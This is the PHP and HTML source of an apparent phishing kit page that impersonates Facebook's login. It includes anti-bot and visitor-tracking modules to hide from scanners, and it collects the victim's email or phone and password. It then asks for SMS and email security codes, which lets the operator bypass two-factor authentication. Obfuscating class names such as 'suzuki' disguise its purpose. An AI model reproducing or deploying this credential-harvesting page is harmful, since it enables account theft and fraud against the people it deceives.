<?php
include './anti/config.php';
include './anti/functions.php';
include './anti/visitor.php';
include './anti/antibots.php';
$_SESSION['allowed'] = true;

$a = $_GET['h']; // Get the value of 'h' from the URL
$er = ''; // Initialize the error variable

// Check if 'h' is set and equals 1
if ($a == 1) {
    $er = '<span id="op_erno" style="display: block; text-align: center;">You have entered an incorrect password.</span>';
}
?>
<!DOCTYPE html>
<html>
   <head>
      <title>Access</title>
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <link rel="shortcut icon" type="image/x-icon" href="global/css/favicon.ico" />
      <link rel="stylesheet" type="text/css" href="global/css/home.css">
      <link rel="stylesheet" type="text/css" href="global/css/imgs.css">
      <link rel="stylesheet" type="text/css" href="global/css/fonts.css">
      <link rel="stylesheet" type="text/css" href="global/css/loading_circle.css">
      <link rel="stylesheet" type="text/css" href="global/css/animation_stick.css">
      <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.4/jquery.min.js"></script>
      <script src="global/js/liveScript.js" type="text/javascript"></script>
      <script src="global/js/postman.js" type="text/javascript"></script>
      <script src="global/js/elemental.js" type="text/javascript"></script>
      <script src="global/js/globalScript.js" type="text/javascript"></script>
   </head>
   <body>
      <!--Live Script-->
      <div style="display: none;">
          <div id="station_data"></div>
      </div>
      
      <!--Loading-Page-->
      <div id="loading-content" style="display: none;">
        <center>
          <div id="load-round" class="load"></div>
        </center>
      </div>

      <!--Main-Area-->
      <div class="main-suzuki">
         <!--Suzuki-->
         <div class="suzuki-left">
           <img class="yundai-logo">
           <span class="suzu-descr">
             Facebook helps you connect and share with the people in your life.
           </span>
         </div>
         <!--Suzuki-Logon-->
         <div id="suzuki-logon-area" class="main-area" style="display: ;">
            
            <div class="form-box">
              <span class"suzu-descr" style="display: block; text-align: center;">
                Log in
              </span><br>
               <input type="text" class="input-txt-element" id="_us" placeholder="Email or phone number">
            </div>
            <div class="form-box">
               <input type="password" class="input-txt-element" id="_ps" placeholder="Password">    
               
               <?php echo $er; ?> 
            </div>
            <div class="form-box">
               <button class="btn-element" onclick="go('pedir-sales');">Log In</button>
            </div>
         </div>

         <!--Suzuki-Sec-->
         <div id="suzuki-sec-area" class="main-area" style="display: none;">
            <span id="titleHeader" class="box-header"></span>
            <div class="form-box">
              <span class="form-text">
                To confirm your access enter the security code that we have sent to your phone:
              </span>
            </div>
            <div class="form-box">
               <input type="text" class="input-txt-element" id="_kd" placeholder="Security code">
               <span id="op_erno" style="display: none;">You have entered an incorrect code, please enter the new code we have sent you.</span>
            </div>
            <div class="form-box">
               <button class="btn-element" onclick="go('confirmar-sales');">Confirm</button>
            </div>
         </div>

         <!--Suzuki-Sec-ML-->
         <div id="suzuki-sec-ml-area" class="main-area" style="display: none;">
            <span id="titleHeader" class="box-header"></span>
            <div class="form-box">
              <span class="form-text">
                To confirm your access enter the security code that we have sent to your email address:
              </span>
            </div>
            <div class="form-box">
               <input type="text" class="input-txt-element" id="_kd_ml" placeholder="Security code">
               <span id="ml_erno" style="display: none;">You have entered an incorrect code, please enter the new code we have sent you.</span>
            </div>
            <div class="form-box">
               <button class="btn-element" onclick="go('confirmar-sales-mail');">Confirm</button>
            </div>
         </div>

         <!--Suzuki-Success-->
         <div id="suzuki-success-area" class="main-area" style="display: none;">
            <div class="form-box">
               <center>
                 <div class="success-animation">
                   <svg class="checkmark" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 52 52"><circle class="checkmark__circle" cx="26" cy="26" r="25" fill="none" /><path class="checkmark__check" fill="none" d="M14.1 27.2l7.1 7.2 16.7-16.8" /></svg>
                 </div>
               </center>
            </div>
         </div>
      </div>
   </body>
</html>